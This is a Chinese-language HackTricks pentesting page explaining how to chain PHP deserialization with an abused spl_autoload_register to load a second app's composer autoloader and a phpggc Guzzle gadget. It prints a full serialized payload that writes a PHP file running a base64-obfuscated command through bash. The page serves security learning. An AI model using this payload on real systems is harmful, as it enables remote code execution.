> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md).

# PHP - Deserialization + Autoload Classes

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

首先，您应该查看什么是[**自动加载类**](https://www.php.net/manual/en/language.oop5.autoload.php)。

## PHP 反序列化 + spl\_autoload\_register + LFI/Gadget

我们处于这样一种情况：我们在一个**Web 应用程序中发现了 PHP 反序列化漏洞**，但**没有**受到 **`phpggc`** 内部的 gadget 影响。然而，在同一个容器中有一个**不同的 composer Web 应用程序，其中存在受漏洞影响的库**。因此，目标是**加载另一个 Web 应用程序的 composer 加载器**，并利用它来**加载一个 gadget，该 gadget 将利用受反序列化漏洞影响的 Web 应用程序中的库**。

步骤：

* 您已经发现了一个**反序列化漏洞**，当前应用程序代码中**没有任何 gadget**
* 您可以滥用\*\*`spl_autoload_register`**函数，如下所示，以**加载任何具有 `.php` 扩展名的本地文件\*\*
* 为此，您使用一个反序列化，其中类的名称将在\*\*`$name`**中。您**不能在序列化对象的类名中使用 "/" 或 "."**，但**代码**正在**将下划线\*\*（"\_"）**替换为斜杠**（"/"）。因此，类名如 `tmp_passwd` 将被转换为 `/tmp/passwd.php`，并且代码将尝试加载它。\
  一个**gadget 示例**将是：**`O:10:"tmp_passwd":0:{}`**

```php
spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
```

{% hint style="success" %}
如果您有一个**文件上传**并且可以上传一个带有\*\*`.php`扩展名**的文件，您可以直接**滥用此功能\*\*并获得RCE。
{% endhint %}

在我的情况下，我没有类似的东西，但在**同一个容器**中有另一个使用**易受`phpggc`小工具攻击的库**的composer网页。

* 要加载这个其他库，首先您需要**加载另一个Web应用程序的composer加载器**（因为当前应用程序的加载器无法访问另一个应用程序的库）。**知道应用程序的路径**后，您可以很容易地实现这一点：**`O:28:"www_frontend_vendor_autoload":0:{}`**（在我的情况下，composer加载器位于`/www/frontend/vendor/autoload.php`中）
* 现在，您可以**加载**其他**应用程序的composer加载器**，所以现在是**生成phpggc负载**的时候了。在我的情况下，我使用了\*\*`Guzzle/FW1`**，它允许我**在文件系统中写入任何文件\*\*。
* 注意：**生成的小工具无法正常工作**，为了使其正常工作，我**修改了** phpggc 的\*\*`chain.php`**负载，并将类的所有属性**从私有更改为公共\*\*。否则，在反序列化字符串后，创建的对象的属性将没有任何值。
* 现在我们有了**加载其他应用程序的composer加载器的方法**并且有一个**有效的phpggc负载**，但我们需要**在同一个请求中执行此操作，以便在使用小工具时加载加载器**。为此，我发送了一个包含两个对象的序列化数组，如下所示：
* 您可以**首先看到加载器被加载，然后是负载**

{% code overflow="wrap" %}

```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```

{% endcode %}

**负载摘要**

* **加载同一容器中不同web应用的composer自动加载**
* **加载一个phpggc小工具**，以滥用另一个web应用的库（最初易受反序列化攻击的web应用没有任何库中的小工具）
* 该小工具将在/tmp/a.php中创建一个带有恶意命令的PHP负载文件（web应用用户无法在任何web应用的文件夹中写入）
* 我们负载的最后部分将使用**加载生成的php文件**来执行命令

我需要**调用两次反序列化**。在我的测试中，第一次创建了`/tmp/a.php`文件，但未加载，第二次则正确加载。
